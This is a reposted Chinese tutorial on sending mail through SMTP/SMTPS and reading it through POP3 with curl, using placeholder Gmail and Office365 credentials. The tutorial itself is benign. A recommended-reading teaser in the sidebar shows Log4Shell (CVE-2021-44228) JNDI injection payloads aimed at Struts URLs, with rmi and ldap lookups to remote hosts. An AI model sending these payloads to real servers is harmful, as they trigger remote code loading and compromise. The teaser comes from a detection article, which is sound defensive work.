Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >用curl命令通过smtp协议发送邮件

用curl命令通过smtp协议发送邮件

作者头像
用户2323866
修改于 2021-06-23 10:04:51
修改于 2021-06-23 10:04:51
5.4K00
代码可运行
举报
文章被收录于专栏:技术派技术派
运行总次数:0
代码可运行

为啥我要用curl来发邮件呢?主要是服务器不是邮件服务器,也没有装sendmail、postfix这类邮件服务,有时写一些脚本会用邮件提醒,这时候用curl就非常方便了。

要说Linux下有什么神级的命令,curl一定是其中之一。curl几乎支持你能想到的所有web相关的协议,来看看 curl官网支持的协议:

Supports... DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, Telnet and TFTP. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, HTTP/2, HTTP/3, cookies, user+password authentication (Basic, Plain, Digest, CRAM-MD5, NTLM, Negotiate and Kerberos), file transfer resume, proxy tunneling and more.

支持邮件相关的协议:IMAP、IMAPS、POP3、POP3S、SMTP、SMTPS,所以用curl来发送邮件是可以的,先看一下help有哪些邮件相关的的参数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl --help
--ssl           Try SSL/TLS (FTP, IMAP, POP3, SMTP)
--ssl-reqd      Require SSL/TLS (FTP, IMAP, POP3, SMTP)
--mail-from FROM  Mail from this address
--mail-rcpt TO  Mail to this receiver(s)
--mail-auth AUTH  Originator address of the original email

官网给了一个例子:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl smtp://mail.example.com --mail-from myself@example.com --mail-rcpt
receiver@example.com --upload-file email.txt

根据 RFC 5322规范,发送邮件需要指定发件人、收件人、主题和内容等信息,官网的例子将这些信息写到email.txt,用--upload-file参数(实际上是PUT请求)发送,email.txt内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
From: John Smith <john@example.com>
To: Joe Smith <smith@example.com>
Subject: an example.com example email
Date: Mon, 7 Nov 2016 08:45:16

Dear Joe,
Welcome to this example email. What a lovely day.

curl也支持smtps,使用smtps调用gmail的例子:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl --ssl-reqd \
--url 'smtps://smtp.gmail.com:465' \
--user 'username@gmail.com:password' \
--mail-from 'username@gmail.com' \
--mail-rcpt 'will@nixops.me' \
--upload-file mail.txt

这种方法基本满足需要,但是需要新建一个mail.txt,在脚本中调用最好一行命令能实现,不额外新建文件。这时使用输入重定向,下面以outlook邮箱为例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl --ssl-reqd   --url 'smtp://smtp.office365.com:587'   --user 'sender@nixops.me:password'   --mail-from 'sender@nixops.me'   --mail-rcpt 'will@nixops.me'   -T  <(echo -e 'From: sender@nixops.me\nTo: will@nixops.me\nSubject:  备份成功\n\n nixops.me已全部备份完成,请检查');

-T和--upload-file是一样的。通过这种方法,就可以一条命令实现通过smtp发送邮件。

这种方法也有缺点:

  1. 邮箱密码写在脚本里,不够安全
  2. outlook和gmail邮箱,需要指定app专用密码,或者启用低安全性应用访问权限
  3. smtps需curl编译时有ssl,版本不能太低,如果不是古董系统,我相信你不会遇到问题

顺便说一下pop3收邮件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl --ssl-reqd   --url 'pop3://outlook.office365.com'   --user 'sender@nixops.me:password'

执行后会返回邮件编号和大小,继续请求指定编号就可以了,如下载第一个,在--url中指定编号:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl --ssl-reqd   --url 'pop3://outlook.office365.com/1'   --user 'sender@nixops.me:password'

有问题可以用-vvvv看一下curl的调用过程排查,IMAP协议使用也类似,但要复杂一些,就不说了

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
curl命令使用
一、curl常用命令 这个命令我在linux下用的多一些,windows也可以,可以说是一款很强大的http命令行工具,支持上传、下载等操作,非常莱斯的工具。 1、get请求:并返回resp curl https://www.gaojs.com.cn # 测试请求是否可达:显示一次http通信的整个过程,包括端口连接和http request头信息 curl -v https://www.gaojs.com.cn 2、post请求 # post请求 curl -X -POST https://w
懿曲折扇情
2022/08/24
5K0
curl命令使用
检测涉及CVE-2021-44228影响产品
Apache Struts 2 http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}' http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/ VMWare VCenter "X-Forwarded-For
Khan安全团队
2021/12/15
9660
CentOS 7.2 部署邮件服务器(Postfix)
版权声明:本文为木偶人shaon原创文章,转载请注明原文地址,非常感谢。 https://blog.csdn.net/wh211212/article/details/53040620
shaonbean
2019/05/26
2.2K0
常在web漂,哪有不挨刀:curl独门绝技,不来学几招防身吗?
curl 支持多种协议,如DICT、FILE、FTP、FTPS、Gopher、HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S、RTMP、RTSP、SCP、SFTP、SMTP、SMTPS、Telnet和TFTP。
程序员小助手
2020/04/09
9950
常在web漂,哪有不挨刀:curl独门绝技,不来学几招防身吗?
curl的安装与简单使用
安装篇: 我的电脑版本是windows7,64位,对应的curl下载地址如下: https://curl.haxx.se/download.html 直接找到下面的这个版本: curl-7.57.0.tar.gz gpg mirror metalink 解压,然后,命令行进入到 curl 目录下: 我的路径为:E:\curl-7.57.0\curl-7.57.0 在该目录下 —— git bash here,或者,wind+r 快捷键  输入cmd ,然后到该目录下 然后,就可以用curl 命令了 例如:
小小明童鞋
2018/06/13
1.4K0
linux curl命令详解_curl详解
curl(CommandLine Uniform Resource Locator),即在命令行中利用URL进行数据或者文件传输。
全栈程序员站长
2022/11/01
17.1K0
CURL 那些不太为人知但强大的功能
对每个人而言,真正的职责只有一个:找到自我。然后在心中坚守其一生,全心全意,永不停息。所有其它的路都是不完整的,是人的逃避方式,是对大众理想的懦弱回归,是随波逐流,是对内心的恐惧 ——赫尔曼·黑塞《德米安》
山河已无恙
2025/03/29
940
CURL 那些不太为人知但强大的功能
curl 用法
背景 linux上发起http请求 使用方法 # get请求 curl "http://jwen.me/" # 获取返回的信息头 curl -i "http://jwen.me/" # post请求 curl -X POST -d "name=jwen&age=29" "http://jwen.me/" # 自定义header curl -H "Accept-Language: en-US" "http://jwen.me/" # 采用压缩方式接收返回数据 curl --compressed "h
千往
2019/09/29
2K0
PostFix+Dovecot 部署邮件系统
Postfix 是一种电子邮件服务器是一个开放源代码的软件. Postfix 是MTA邮件传输代理软件.是sendmail提供替代品的一个尝试,在Internet世界中,大部分的电子邮件都是通过sendmail来投递的,大约有100万用户使用sendmail,每天投递上亿封邮件,Postfix试图更快、更容易管理、更安全,同时还与sendmail保持足够的兼容性.
王 瑞
2022/12/28
3.2K0
PostFix+Dovecot 部署邮件系统
Zmail———极简方式用python发送邮件
Zmail 使得在python3中发送和接受邮件变得更简单。你不需要手动添加服务器地址、端口以及适合的协议,zmail会帮你完成。此外,使用一个python字典来代表邮件内容也更符合直觉。
胡八万
2022/05/16
2.5K0
Python 学习入门(5)—— 发送邮件
下载 email-6.0.0a1.tar.gz 或 Mail-2.1.0.tar.gz
阳光岛主
2019/02/19
7470
Python 学习入门(5)—— 发送邮件
每天学一个 Linux 命令(73):curl
curl 命令使用 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TFTP、DICT、TELNET、LDAP或FILE支持的协议之一,将数据传输到网络服务器或从网络服务器传输数据。它非常适合在 Shell 脚本中使用。
民工哥
2021/03/30
7430
轻量折腾计划1,搭一个域名邮箱来玩玩
这是一个系列,初期预计将有9-10篇左右的文章,旨在记录我折腾腾讯云的轻量应用服务器的相关过程,欢迎感兴趣的读者关注。
NNT
2021/07/22
4.5K1
轻量折腾计划1,搭一个域名邮箱来玩玩
Linux使用mail配合smtp发送邮件
由于工作需要结合shell脚本需要发送邮件通知,linux自带的mail可以实现外部smtp发邮件。不需要本地配置postfix,sendmail邮件服务器。
星哥玩云
2022/05/26
4K0
Linux使用mail配合smtp发送邮件
CentOS 7.4升级Curl版本
Curl是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称Curl为下载工具。Curl还包含了用于程序开发的libcurl​。
子润先生
2021/06/29
4.7K0
curl 命令详解
转载于: https://www.cnblogs.com/guixiaoming/p/8507268.html
全栈程序员站长
2022/09/07
6420
SMTP和IMAP的配置方法?
SMTP(Simple Mail Transfer Protocol)和IMAP(Internet Message Access Protocol)是两种常用的邮件协议,分别用于发送和接收邮件。配置SMTP和IMAP是设置邮件客户端的重要步骤,aoksend将介绍它们的配置方法。
AokSend-API接口
2024/03/26
1.6K0
CentOS使用SMTP第三方发送邮件
SMTP称为简单邮件传输协议(Simple Mail Transfer Protocal),目标是向用户提供高效、可靠的邮件传输。它的一个重要特点是它能够在传送中接力传送邮件,即邮件可以通过不同网络上的主机接力式传送。通常它工作在两种情况下:一是邮件从客户机传输到服务器;二是从某一个服务器传输到另一个服务器。SMTP是一个请求/响应协议,它监听25号端口,用于接收用户的Mail请求,并与远端Mail服务器建立SMTP连接。
张琳兮
2018/09/10
1.8K0
CentOS使用SMTP第三方发送邮件
结合Spring发送邮件的四种正确姿势,你知道几种?
测试使用的环境是企业主流的SSM 框架即 SpringMVC+Spring+Mybatis。为了节省时间,我直接使用的是我上次的“SSM项目中整合Echarts开发”该项目已经搭建完成的SSM环境。
用户2164320
2018/08/10
9280
结合Spring发送邮件的四种正确姿势,你知道几种?
使用Rust发送邮件
SMTP(简单邮件传输协议,Simple Mail Transfer Protocol)是一种用于发送和接收电子邮件的互联网标准通信协议。它定义了电子邮件服务器如何相互发送、接收和中继邮件。SMTP 通常用于发送邮件,而邮件的接收通常由 POP(邮局协议)或 IMAP(互联网消息访问协议)来处理。
fliter
2024/01/09
6630
使用Rust发送邮件
相关推荐
curl命令使用
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验